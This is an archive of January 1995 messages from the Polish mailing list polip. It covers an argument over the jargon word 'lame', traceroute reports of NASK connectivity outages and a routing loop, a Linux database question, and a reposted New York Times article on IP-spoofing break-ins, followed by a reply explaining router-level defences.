: Np. wedlug niektorych jestesmy Lechitami, ale sami nie bedziemy sie tak
: raczej okreslac :-)

I znowu wraca stara piosenka... a ja znowu odpowiadam: a slyszales, zeby sie
bandyta przedstawial: "Jestem bandyta" ?! :-)
Ale to nie na temat. 
Oczywiscie, ja tez jestem za wolnoscia slowa i propozycja zmuszania do uzywania
"powszechnie przyjetych" terminow byla dowcipem. Niech kazdy uzywa takiej
terminologii, jaka mu odpowiada.
Na wlasna odpowiedzialnosc.
--
                       Szymon Sokol -- Network Manager
U    U M     M M     M University of Mining and Metallurgy, Computer Center
U    U MM   MM MM   MM ave. Mickiewicza 30, 30-059 Krakow, POLAND
U    U M M M M M M M M TEL. +48 12 338100 EXT. 2885  FAX +48 12 338907
 UUUU  M  M  M M  M  M WWW page: http://www.uci.agh.edu.pl/~szymon/
From kokowski@CS.PUT.Poznan.PL Mon Jan 23 08:51:54 1995
Received: from [150.254.32.2] by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA02812; Mon, 23 Jan 95 08:49:34 +0100
Return-Path: <kokowski@CS.PUT.Poznan.PL>
Received: from wega.ics.tup.edu.pl (wega.cs.put.poznan.pl) by syriusz.cs.put.poznan.pl (4.1/SMI-4.1)
	id AA21445; Mon, 23 Jan 95 08:52:39 +0100
Subject: Warszawa-Sztokholm ????
To: polip@zsku.p.lodz.pl (Polish Internet)
Date: Mon, 23 Jan 1995 08:38:56 +0100 (CEU)
From: Tomasz Kokowski <kokowski@CS.PUT.Poznan.PL>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Length: 863       
Message-Id:  <9501230838.aa20348@wega.ics.tup.edu.pl>

Czy jest ktos kompetentny, kto moze wytlumaczyc brak lacznosci pomiedzy
Warszawa i Sztokholmem (traceroute robione dzis <23.01> godz 8.45)? 

traceroute to nic.ddn.mil (192.112.36.5), 30 hops max, 40 byte packets

 1  dune (150.254.24.201)  20 ms  20 ms  20 ms
 2  PPZ1.tup.edu.pl (150.254.5.248)  20 ms  20 ms  20 ms
 3  cmt1.pozman.edu.pl (150.254.167.251)  20 ms  20 ms  30 ms
 4  poz-gw.nask.poznan.pl (193.59.200.81)  20 ms  20 ms  50 ms
 5  gollum.nask.org.pl (193.59.200.73)  280 ms  90 ms  90 ms
 6  kirdan.nask.waw.pl (193.59.201.17)  90 ms  90 ms  110 ms
 7  * kirdan.nask.waw.pl (193.59.201.17)  110 ms !H *
 8  * * *
 9  * * *
10  * * kirdan.nask.waw.pl (193.59.201.17)  100 ms !H
11  * * *
12  * * *
13  * * *
14  * *

Nadmieniam, ze taki stan rzeczy wystepowal juz 22.01 (niedziela) okolo
poludnia. Jak widac utrzymuje sie do dzis.

Tomasz Kokowski
From news.polip@cyber.ict.pwr.wroc.pl Mon Jan 23 10:50:44 1995
Received: from [156.17.9.30] by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA04348; Mon, 23 Jan 95 10:42:38 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id KAA09274 for polip@zsku.p.lodz.pl; Mon, 23 Jan 1995 10:40:22 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 23 Jan 1995 09:38:04 GMT
From: lukasz@nask.org.pl (Lukasz Ploszajski)
Message-Id: <3fvtds$48o@bilbo.nask.org.pl>
Organization: Research And Academic Computer Network
Sender: news.polip@cyber.ict.pwr.wroc.pl
Subject: Awaria lacza do Szwecji

Witam wszystkich!

W Sztokholmie zepsul sie multiplekser obslugujacy nasze lacze satelitarne
- stad m.in. brak polaczenia z USA, ktore pewnie wiele osob zauwazylo.
Zostaly juz przygotowane zastepcze urzadzenia i linia powinna wkrotce
ruszyc.

-Lukasz Ploszajski

From news.polip@cyber.ict.pwr.wroc.pl Mon Jan 23 11:26:08 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA01576; Mon, 23 Jan 95 11:21:08 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id LAA10007 for polip@zsku.p.lodz.pl; Mon, 23 Jan 1995 11:21:12 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 23 Jan 1995 10:17:53 GMT
From: andy@eleet.mimuw.edu.pl (Andrzej K. Brandt)
Message-Id: <3fvvoh$63m@ghost.mimuw.edu.pl>
Organization: Department of Maths and Computer Science, Warsaw University
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <3fnonp$71l@sunrise.pg.gda.pl>, <3fr2q2$e9o@galaxy.uci.agh.edu.pl>
Subject: Re: Brzydkie slowa [niestety jeszcze raz]

Szymon Sokol (szymon@uci.agh.edu.pl) wrote:
: Jacek Piskozub (piskozub@iopan.gda.pl) wrote:
: : odmawia na liscie powiedzenia co co slowo wlasciwie znaczy, oskarzajac
: : przy tym tych, ktorzy tego nie wiedza o... No wlasnie znow o 
: : l***rstwo! Czyli, przetlumaczmy "debilizm w dziedzinie >jargon file<"

: Musze zaprotestowac: Jargon File (pod redakcja Erica S. Raymonda, dostepny
: m.in. jako http://www.uci.agh.edu.pl/jargon/ ) nie zawiera slowa "lame".

Jak widze - Jargon File nasza Wyrocznia, jakis-tam Eric S. Raymond naszym
Guru. Kiedy zaczyna dzialalnosc Biale Bractwo Czcicieli Jargon File?

--

                               73 de Andy SP5WCA

/-------------------+--------+-------------------+-------------------------\
I Andrzej K. Brandt I SP5WCA I andy@mimuw.edu.pl I   andy@sp5wca.ampr.org  I 
\-------------------+--------+-------------------+-------------------------/
From news.polip@cyber.ict.pwr.wroc.pl Mon Jan 23 11:26:17 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA01582; Mon, 23 Jan 95 11:21:12 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id LAA10006 for polip@zsku.p.lodz.pl; Mon, 23 Jan 1995 11:21:12 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 23 Jan 1995 10:14:32 GMT
From: andy@eleet.mimuw.edu.pl (Andrzej K. Brandt)
Message-Id: <3fvvi8$2ea@ghost.mimuw.edu.pl>
Organization: Department of Maths and Computer Science, Warsaw University
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <199501201616.IAA10383@ix3.ix.netcom.com>, <3fp5f8$nok@cyber.ict.pwr.wroc.pl>
Subject: Re: Brzydkie slowa [niestety jeszcze raz]

Tomasz Surmacz (tsurmacz@asic.ict.pwr.wroc.pl) wrote:
: Mark W. Kaliczynski (markk1@ix.netcom.com) wrote:
: | Jacek Piskozub <piskozub@iopan.gda.pl> pisal:

: | >Co to znaczy brzydkie slowo?

: [...]
: | Nalezy zauwazyc ze kazdy jezyk to jest tak jak zywy zmieniajacy i
: | przeksztalcajacy sie ciagle organizm i jezeli wystarczajaco duza liczba
: | ludzi zacznie uzywac slowo lame w nowym wulgarnym (tak jak Jacek
: | Piskozub:-) znaczeniu to z biegiem czasu zostanie to nowe znaczenie
: | zaakceptowane tak jak slowo Polack, kiedys calkowicie neutralne zostalo
: | zwulgaryzowane z biegiem czasu.

: No i niestety w Polsce przyjelo sie ono JUZ jako wulgarne, a moze niezupelnie
: wulgarne, ale obrazliwe, w stosunku do tego, do ktorego jest skierowane.

Nic bardziej blednego. 

: Zbyt czesto mozna po prostu uslyszec w odpowiedzi na rzeczowe argumenty, ze
: jestes lame, co jest (moim zdaniem) szybkim slowem-wytrychem pozwalajacym
: temu drugiemu odeprzec nasze argumenty spychajac je w sfere zastanawiania 
: sie nad nasza znajomoscia rzeczy...

Nic takiego nie widzialem w odniesieniu do _rzeczowych_ agumentow. Natomiast
w odpowiedzi na _lamerskie_ twierdzenia w rodzaju np. ze "komputer jest
zepsuty, bo nie moge odpalic elm'a" odpowiada sie wlasnie tak.

: Takze jak widze gdzies l*e, l****row itp. itd., to mnie od razu odrzuca, 
: a dokladniej - wyrabiam sobie odpowiednie zdanie co do autora.

No to zejdz laskawie ze sciany, gdzie niezawodnie sie znalazles po
przeczytaniu wiadomego slowa 7 linijek wyzej. Mam nadzieje, ze sie nie
potlukles, bo bylo by to naprawde lame.

--

                               73 de Andy SP5WCA

/-------------------+--------+-------------------+-------------------------\
I Andrzej K. Brandt I SP5WCA I andy@mimuw.edu.pl I   andy@sp5wca.ampr.org  I 
\-------------------+--------+-------------------+-------------------------/
From muhlig@usctoux1.cto.us.edu.pl Mon Jan 23 14:11:08 1995
Received: from usctoux1.cto.us.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA05906; Mon, 23 Jan 95 14:10:05 +0100
Return-Path: <muhlig@usctoux1.cto.us.edu.pl>
Subject: Re: Warszawa-Sztokholm ????
To: polip@zsku.p.lodz.pl
Date: Mon, 23 Jan 1995 14:15:23 -0100 (MET)
From: Maciek Uhlig <muhlig@usctoux1.cto.us.edu.pl>
In-Reply-To:  <9501230838.aa20348@wega.ics.tup.edu.pl> from "Tomasz Kokowski" at Jan 23, 95 11:02:07 am
X-Mailer: ELM [version 2.4 PL23~]
Content-Type: text
Content-Length: 1152      
Message-Id:  <9501231415.aa19485@usctoux1.cto.us.edu.pl>

Tomasz Kokowski wrote:
> 
> Czy jest ktos kompetentny, kto moze wytlumaczyc brak lacznosci pomiedzy
> Warszawa i Sztokholmem (traceroute robione dzis <23.01> godz 8.45)? 
> Nadmieniam, ze taki stan rzeczy wystepowal juz 22.01 (niedziela) okolo
> poludnia. Jak widac utrzymuje sie do dzis.

Zapewne nie jestem kompetentny w tej sprawie, ale wiem, ze NASK
przystapil do usuwania uszkodzenia natychmiast po zgloszeniu w niedziele
okolo poludnia.
Natomiast NASK jest odpowiedzialny za dobowy brak lacznosci ze swiatem,
gdyz po nauczce sprzed okolo roku nie przedsiewzial zadnych krokow,
aby z Polski istnialy dwa rownorzedne wyjscia do swiata. Na koniecznosc
podjecia takich dzialan internauci wskazywali tez w Liscie Aktualnych
Problemow. 

Maciek Uhlig

----------------------------------------------------------------------
Maciej UHLIG, Computer Center, Silesian University
                          Uniwersytecka 4 St., 40-007 KATOWICE, POLAND
Internet: muhlig@usctoux1.cto.us.edu.pl  Voice: +48 (32) 588211 (1768)
                                         Fax:   +48 (32) 596847 
***** Imagine all the people sharing all the world (John Lennon) *****
From news.polip@cyber.ict.pwr.wroc.pl Mon Jan 23 14:21:09 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA06686; Mon, 23 Jan 95 14:20:58 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id OAA13162 for polip@zsku.p.lodz.pl; Mon, 23 Jan 1995 14:17:11 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 23 Jan 1995 13:08:14 GMT
From: chris@cesar.astri.uni.torun.pl (Krzysztof Gozdziewski)
Message-Id: <3g09nu$gic@Waldemar.mat.uni.torun.pl>
Organization: Uniwersytet Mikolaja Kopernika
Sender: news.polip@cyber.ict.pwr.wroc.pl
Subject: Baza danych dla Linuxa ?

Moze ktos bedzie mi mogl pomoc: szukam bazy danych (programu), ktora
mozna by bylo uzywac pod Linux'em. Zupelnie zadowalajacy bylby program
w rodzaju DOS-owego dbase. Najlepiej jak by byl public domain.

Z gory dziekuje za informacje.

Z pozdrowieniami
Krzysztof Gozdziewski

---------------------------------   ^-^   ~~~ Krzysztof Go\'zdziewski
                                   (* *)  ~~~ Institute of Astronomy
                                   ==*==  ~~~ Nicolaus Copernicus University
                                    /?\   ~~~ Chopina Str 12/18
                                   (m_m)  ~~~ PL-87-100 Toru\'n POLAND
    
From kokowski@CS.PUT.Poznan.PL Mon Jan 23 14:43:44 1995
Received: from syriusz.cs.put.poznan.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA01420; Mon, 23 Jan 95 14:41:53 +0100
Return-Path: <kokowski@CS.PUT.Poznan.PL>
Received: from wega.ics.tup.edu.pl (wega.cs.put.poznan.pl) by syriusz.cs.put.poznan.pl (4.1/SMI-4.1)
	id AA23028; Mon, 23 Jan 95 14:47:04 +0100
Subject: Re: Warszawa-Sztokholm ????
To: polip@zsku.p.lodz.pl
Date: Mon, 23 Jan 1995 14:33:20 +0100 (CEU)
From: Tomasz Kokowski <kokowski@CS.PUT.Poznan.PL>
In-Reply-To:  <9501231415.aa19485@usctoux1.cto.us.edu.pl> from "Maciek Uhlig" at Jan 23, 95 02:16:07 pm
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Length: 969       
Message-Id:  <9501231433.aa28478@wega.ics.tup.edu.pl>

> 
> Zapewne nie jestem kompetentny w tej sprawie, ale wiem, ze NASK
> przystapil do usuwania uszkodzenia natychmiast po zgloszeniu w niedziele
> okolo poludnia.

  Fajnie. Mozna jednak bylo wyslac taki piekny liscik z poczty kodowanej
jak to sie dzialo ostatnio i wszystko gra. Zle jest natomiast, jesli
sila wyzsza i pilnosc sprawy zwalniaja z obowiazku poinformowania
p.t. uzytkonikow. Nie mowie zeby wszystkich w RP ale mozeby stworzyc
"hotlist" bo na operatorow regionalnych nie za bardzo licze ....

> Natomiast NASK jest odpowiedzialny za dobowy brak lacznosci ze swiatem,
> gdyz po nauczce sprzed okolo roku nie przedsiewzial zadnych krokow,
> aby z Polski istnialy dwa rownorzedne wyjscia do swiata. Na koniecznosc
> podjecia takich dzialan internauci wskazywali tez w Liscie Aktualnych
> Problemow. 

  Swiete slowa. Ale co na to NASK? Internauci swoje a zycie swoje. 
  Tak jak z wspominana "czeska karta" w gateway do domeny gov.pl. :-|

  Tomasz Kokowski.
From news.polip@cyber.ict.pwr.wroc.pl Mon Jan 23 21:23:46 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA07072; Mon, 23 Jan 95 21:20:21 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id VAA20675 for polip@zsku.p.lodz.pl; Mon, 23 Jan 1995 21:17:12 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 23 Jan 1995 20:56:34 +0100
From: kompas@uci.agh.edu.pl (Piotr Piatkowski)
Message-Id: <3g11li$dq6@galaxy.uci.agh.edu.pl>
Organization: University of Mining & Metallurgy
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <3fnonp$71l@sunrise.pg.gda.pl>, <3fr2q2$e9o@galaxy.uci.agh.edu.pl>, <3fvvoh$63m@ghost.mimuw.edu.pl>
Subject: Re: Brzydkie slowa [niestety jeszcze raz]

Andrzej K. Brandt (andy@eleet.mimuw.edu.pl) wrote:
: Szymon Sokol (szymon@uci.agh.edu.pl) wrote:
: : Jacek Piskozub (piskozub@iopan.gda.pl) wrote:
: : : odmawia na liscie powiedzenia co co slowo wlasciwie znaczy, oskarzajac
: : : przy tym tych, ktorzy tego nie wiedza o... No wlasnie znow o 
: : : l***rstwo! Czyli, przetlumaczmy "debilizm w dziedzinie >jargon file<"

: : Musze zaprotestowac: Jargon File (pod redakcja Erica S. Raymonda, dostepny
: : m.in. jako http://www.uci.agh.edu.pl/jargon/ ) nie zawiera slowa "lame".

: Jak widze - Jargon File nasza Wyrocznia, jakis-tam Eric S. Raymond naszym
: Guru. Kiedy zaczyna dzialalnosc Biale Bractwo Czcicieli Jargon File?

Grrrr... Tym razem nie moge sie powstrzymac. Jeden facet pisze "blebleble
to debilizm w dziedzinie >jargon file<". Drugi pisze: "nieprawda,
jargon file nie zawiera tego slowa.". 

No wiec skad ci Guru i Wyrocznia? A teraz do Emina: LAME!

Kaz

--------------
Piotr Piatkowski, Uczelniane Centrum Informatyki, AGH Krakow, POLAND
From lbs@phys.ufl.edu Tue Jan 24 02:13:48 1995
Received: from neptune-gw.phys.ufl.edu by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA11282; Tue, 24 Jan 95 02:13:14 +0100
Return-Path: <lbs@phys.ufl.edu>
Received:  by phys.ufl.edu (4.1/5.02)
	id AA24848; Mon, 23 Jan 95 20:17:35 EST
Date: Mon, 23 Jan 95 20:17:35 EST
From: Lech Borkowski <lbs@phys.ufl.edu>
Message-Id: <9501240117.AA24848@phys.ufl.edu>
To: polip@zsku.p.lodz.pl
Subject: kolejna seria wlaman; bezpieczenstwo sieci


Dzisiejszy New York Times zamiescil na pierwszej stronie
artykul o nowej serii wlaman do komputerow, m.in. do 
komputera jednego z ekspertow od bezpieczenstwa sieci.
Pozniej moze przytocze pare fragmentow artykulu. 

W artykule odniesiono sie m.in. do spraw poruszonych
w niedawnych artykulach pracownikow AT&T. Zajrzalem
do AT&T Technical Journal i okazalo sie, ze numer
na wrzesien/pazdziernik 1994 byl poswiecony technikom
bezpieczenstwa sieci. Jesli ktos jest tym powazniej
zainteresowany a nie ma dostepu do pisma AT&T Technical 
Journal, moge przeslac 2-3 osobom kopie artykulow. 
Szczegoly prywatnie.

Lech Borkowski
lbs@phys.ufl.edu

From lbs@phys.ufl.edu Tue Jan 24 07:55:52 1995
Received: from neptune-gw.phys.ufl.edu by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA02199; Tue, 24 Jan 95 07:52:48 +0100
Return-Path: <lbs@phys.ufl.edu>
Received:  by phys.ufl.edu (4.1/5.02)
	id AA27648; Tue, 24 Jan 95 01:58:25 EST
Date: Tue, 24 Jan 95 01:58:25 EST
From: Lech Borkowski <lbs@phys.ufl.edu>
Message-Id: <9501240658.AA27648@phys.ufl.edu>
To: polip@zsku.p.lodz.pl
Subject: kolejna seria wlaman; bezpieczenstwo sieci


comments, anyone?
LB

------------------------------------------------------------------------------
The New York Times, January 23, 1995

Data Network Is Found Open To New Threat

by John Markoff

San Francisco, Jan. 22

   A Federal computer security agency has discovered that unknown intruders have
developed a new way to break into computer systems, and the agency plans on
Monday to advise users how to guard against the problem.

   The new form of attack leaves many of the 20 million government, business,
university and home computers on the global Internet vulnerable to
eavesdropping and theft. Officials say that unless computer users take the
complicated measures they will prescribe, intruders could copy or destroy
documents or even operate undetected by posing as an authorized user of the
system.

    For computer users, the problem is akin to homeowners discovering that
burglars have master keys to all the front doors in the neighborhood.

   The first known attack using the new technique took place on Dec. 25 against 
the computer of a well-known computer security expert at the San Diego
Supercomputer Center. An unknown individual or group took over his computer for 
more than a day and electronically stole a large number of security programs he 
had developed.

   Since then several attacks have been reported, and there is no way of knowing
how many others may have occurred. Officials of the Government-financed Computer
Emergency Response Team say that the new assaults are a warning that better
security precautions will have to be taken before commerce comes to the
Internet, a worldwide web of interconnected computers that exchange electronic
messages, documents and computer programs.
                                                                                
   It is expected that by the end of this year such businesses as florists,
supermarkets, credit card companies and banks will peddle wares to customers via
the Internet and the new intruders could be able to steal credit card numbers,
merchandise and money.

   The response team, based at Carnegie-Mellon University in Pittsburgh, plans
on Monday to post an advisory on the Internet, alerting computer users to the
attacks and urging them to take a variety of protective measures involving
software and hardware security mechanisms.

   "This was a sophisticated attack," said James Settle, a former F.B.I.
computer crime expert who is now an executive at the Inet Corporation, a
computer security firm. "Essentially everyone is vulnerable."

   The Internet works by breaking computer messages into groups of digital
packets of data, each of which has an electronic "envelope" that provides "to"
and "from" addressing information used by special network computers known as
routers that deliver the data.

   The new attack makes use of a flaw in the design of the network to fool the
router computers into believing that a message is coming from a trusted source. 
By masquerading as a familiar computer, an attacker can gain access to
protected computer resources and seize control of an otherwise well-defended
system.

   Computer administrators at several organizations that have been broken into
by individuals using the technique said they had been contacted by Federal
law-enforcement officials as part of an investigation into the break-ins, but
Justice Department officials refused to comment.

[...]

   Classified Government military computer systems are not thought to be at risk
because they are not directly connected to the Internet.
                                                                                
   And until now, most companies and other organizations with computers directly
connected to the Internet have assumed they could protect themselves from
intruders by creating various types of hardware and software defenses known as
"fire walls."

   But the new type of attack can in many cases easily penetrate these common
defenses, according to officials of the Computer Emergency Response Team.

   "Out of all the sites on the Internet, there are only some small fraction
that care enough about security," said Tom Longstaff, manager of research and
development for the security agency.

   The security warning to be issued on Monday will include a list of brands of 
router computers that can use a computer program to protect against the new
attack, which is called IP, or Internet protocol, spoofing. The new defense
works by recognizing packets that have been forged and rejecting them. But the
advisory will also list brands of routers that have no way of protecting against
the attack.

   Computer security experts said there was no good way of estimating what
fraction of the Internet computers have routers or fire wall software capable of
protecting against the attack.
                                                                                
   "This is a really tough problem because it is an attack based on the way
things work normally," said Marcus Ranum, a senior scientist at Trusted
Information Systems, a computer security firm.

   The flaw, which has been known as a theoretical possibility to computer
experts for more than a decade, but has never been demonstrated before, is
creating alarm among security experts now because of the series of break-ins and
attacks in recent weeks.

   The weakness, which was previously reported in technical papers by AT&T
researchers, was detailed in a talk given by Tsutomu Shimomura, a computer
security expert at the San Diego Supercomputer Center, at a California computer 
security seminar sponsored by researchers at the University of California at
Davis two weeks ago.

   Mr. Shimomura's computer was taken over by an unknown attacker who then
copied documents and programs to computers at the University of Rochester where 
they were illegally hidden on school computers.

   Most computer security experts say that real security on the Internet awaits 
the widespread adoption of encryption technology for scrambling data and
authenticating messages.

   Internet veterans also expressed anger at the new style of attack because it 
would cause many organizations to strengthen their security systems, thus making
the network less convenient and less useful.

   "These guys are striking the basis of trust that makes the network work," Mr.
Ranum said, "and I hate that."

From max@twins.pk.edu.pl Tue Jan 24 10:25:54 1995
Received: from sony10.twins.pk.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA04535; Tue, 24 Jan 95 10:22:52 +0100
Return-Path: <max@twins.pk.edu.pl>
Received: by twins.pk.edu.pl (4.0/SMI-4.0)
	id AA06503; Tue, 24 Jan 95 10:29:53 +0100
From: max@twins.pk.edu.pl (Aleksander Matuszak)
Message-Id: <9501240930.AA06503@twins.pk.edu.pl>
Organization: Cracow University of Technology, L-5 Institute
Subject: Re: Baza danych dla Linuxa ?
To: polip@zsku.p.lodz.pl
Date: Tue, 24 Jan 1995 10:29:51 +0100 (MET)
In-Reply-To: <3g09nu$gic@Waldemar.mat.uni.torun.pl> from "Krzysztof Gozdziewski" at Jan 23, 95 02:36:52 pm
X-Mailer: ELM [version 2.4 PL23]
Content-Type: text
Content-Length: 414       

> 
> Moze ktos bedzie mi mogl pomoc: szukam bazy danych (programu), ktora
> mozna by bylo uzywac pod Linux'em. Zupelnie zadowalajacy bylby program
> w rodzaju DOS-owego dbase. Najlepiej jak by byl public domain.
> 
> Krzysztof Gozdziewski

Warto obejrzec plik  /pub/free-databases na idiom.com 
Zawiera dosc kompletna liste dostepnego oprogramowania.

Pozdrowienia
				Aleksander Matuszak
				max@twins.pk.edu.pl

From jubork@ncac.torun.pl Tue Jan 24 12:00:57 1995
Received: from fox.ncac.torun.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA06442; Tue, 24 Jan 95 11:56:33 +0100
Return-Path: <jubork@ncac.torun.pl>
Received: by fox.ncac.torun.pl (4.1/SMI-4.1.jv)
	id AA01191; Tue, 24 Jan 95 11:59:23 +0100
From: jubork@ncac.torun.pl (Jerzy Borkowski)
Message-Id: <9501241059.AA01191@fox.ncac.torun.pl>
Subject: routing na Bartycka w W-wie
To: polip@zsku.p.lodz.pl
Date: Tue, 24 Jan 1995 11:59:22 +0100 (MET)
Cc: jubork@ncac.torun.pl (Jerzy Borkowski)
X-Mailer: ELM [version 2.4 PL22]
Content-Type: text
Content-Length: 1104      

Czy ktos wie dlaczego nie dziala routing do CAMK/CBK/NASK na
Bartycka w Warszawie :

traceroute to gamma.camk.edu.pl (148.81.25.3), 30 hops max, 40 byte packets
 1  TORMAN-link (158.75.7.1)  4 ms  2 ms  2 ms
 2  192.124.116.6 (192.124.116.6)  2 ms  2 ms  2 ms
 3  gollum.nask.org.pl (193.59.200.57)  607 ms  601 ms  553 ms
 4  kirdan.nask.org.pl (193.59.201.17)  548 ms  556 ms 559 ms
 5  pl-gw.nask.org.pl (193.59.201.34)  1093 ms  1743 ms  1247 ms
 6 kirdan.nask.org.pl (193.59.201.33)  1083 ms  1154 ms  1099 ms
 7 pl-gw.nask.org.pl (193.59.201.34)  1834 ms  1856 ms  1712 ms
 8 kirdan.nask.org.pl (193.59.201.33)  1997 ms  1885 ms  2076 ms
 9 pl-gw.nask.org.pl (193.59.201.34)  2167 ms  2315 ms  2181 ms
10 kirdan.nask.org.pl (193.59.201.33)  2249 ms  2133 ms  2117 ms
11 pl-gw.nask.org.pl (193.59.201.34)  2696 ms  2712 ms  2662 ms
12 kirdan.nask.org.pl (193.59.201.33)  2680 ms  2644 ms  2651 ms
13 pl-gw.nask.org.pl (193.59.201.34)  3186 ms  3194 ms  3302 ms
14 kirdan.nask.org.pl (193.59.201.33)  3235 ms  3169 ms  3168 ms
itd, itp

pozdrowienia
				Jerzy Borkowski
				jubork@astri.uni.torun.pl
From staszek@mimuw.edu.pl Tue Jan 24 13:00:55 1995
Received: from ghost.mimuw.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA07826; Tue, 24 Jan 95 12:56:55 +0100
Return-Path: <staszek@mimuw.edu.pl>
Received: from localhost (staszek@localhost) by ghost.mimuw.edu.pl (8.6.4/8.6.4) id NAA02897 for polip@zsku.p.lodz.pl; Tue, 24 Jan 1995 13:03:09 +0100
From: Staszek Kurpiewski <Staszek.Kurpiewski@mimuw.edu.pl>
Message-Id: <199501241203.NAA02897@ghost.mimuw.edu.pl>
Subject: Re: routing na Bartycka w W-wie
To: polip@zsku.p.lodz.pl
Date: Tue, 24 Jan 1995 13:03:07 +0100 (MET)
In-Reply-To: <9501241059.AA01191@fox.ncac.torun.pl> from "Jerzy Borkowski" at Jan 24, 95 12:10:31 pm
X-Mailer: ELM [version 2.4 PL20]
Content-Type: text
Content-Length: 887       

> 
> Czy ktos wie dlaczego nie dziala routing do CAMK/CBK/NASK na
> Bartycka w Warszawie :
> 
> traceroute to gamma.camk.edu.pl (148.81.25.3), 30 hops max, 40 byte packets
>  1  TORMAN-link (158.75.7.1)  4 ms  2 ms  2 ms
>  2  192.124.116.6 (192.124.116.6)  2 ms  2 ms  2 ms
>  3  gollum.nask.org.pl (193.59.200.57)  607 ms  601 ms  553 ms
>  4  kirdan.nask.org.pl (193.59.201.17)  548 ms  556 ms 559 ms
>  5  pl-gw.nask.org.pl (193.59.201.34)  1093 ms  1743 ms  1247 ms
>  6 kirdan.nask.org.pl (193.59.201.33)  1083 ms  1154 ms  1099 ms
>  7 pl-gw.nask.org.pl (193.59.201.34)  1834 ms  1856 ms  1712 ms
>  8 kirdan.nask.org.pl (193.59.201.33)  1997 ms  1885 ms  2076 ms
>  9 pl-gw.nask.org.pl (193.59.201.34)  2167 ms  2315 ms  2181 ms
> itd, itp
> 
> pozdrowienia
Nie dziala tez routing z Ochoty do kbn.gov.pl. Zatrzymuje sie
rowniez na kirdan i pl-gw w NASKu.

    Staszek Kurpiewski
From news.polip@cyber.ict.pwr.wroc.pl Tue Jan 24 15:20:11 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA11116; Tue, 24 Jan 95 15:19:10 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id PAA06758 for polip@zsku.p.lodz.pl; Tue, 24 Jan 1995 15:17:11 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 24 Jan 1995 14:54:17 +0100
From: szymon@uci.agh.edu.pl (Szymon Sokol)
Message-Id: <3g30q9$pld@galaxy.uci.agh.edu.pl>
Organization: University of Mining & Metallurgy
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <9501240658.AA27648@phys.ufl.edu>
Subject: Re: kolejna seria wlaman; bezpieczenstwo sieci

Lech Borkowski (lbs@phys.ufl.edu) wrote:

: comments, anyone?
Tak, ja pozwole sobie skomentowac:

:    The new attack makes use of a flaw in the design of the network to fool the
: router computers into believing that a message is coming from a trusted source. 
: By masquerading as a familiar computer, an attacker can gain access to
: protected computer resources and seize control of an otherwise well-defended
: system.
Mowiac krotko: chodzi o "packet forging". Jezeli router pozwala wylaczyc
"source routing" i nie akceptuje pakietow przychodzacych "ze zlej strony",
to ten atak sie nie uda. Poza tym, jezeli Twoj komputer nie uznaje zadnych
innych za "trusted" (w sensie .rhosts, NFS, itd.) to rowniez nie zadziala.
Nie jest tak zle. Stwierdzenie ze "esentially everyone is vulnerable" nalezy
uznac za gruba przesade.

:    The security warning to be issued on Monday will include a list of brands of 
: router computers that can use a computer program to protect against the new
: attack, which is called IP, or Internet protocol, spoofing. The new defense
: works by recognizing packets that have been forged and rejecting them. But the
: advisory will also list brands of routers that have no way of protecting against
: the attack.
No wlasnie. Oczywiscie Cisco pozwala na taka ochrone, a siec NASK bazuje
glownie na Cisco...

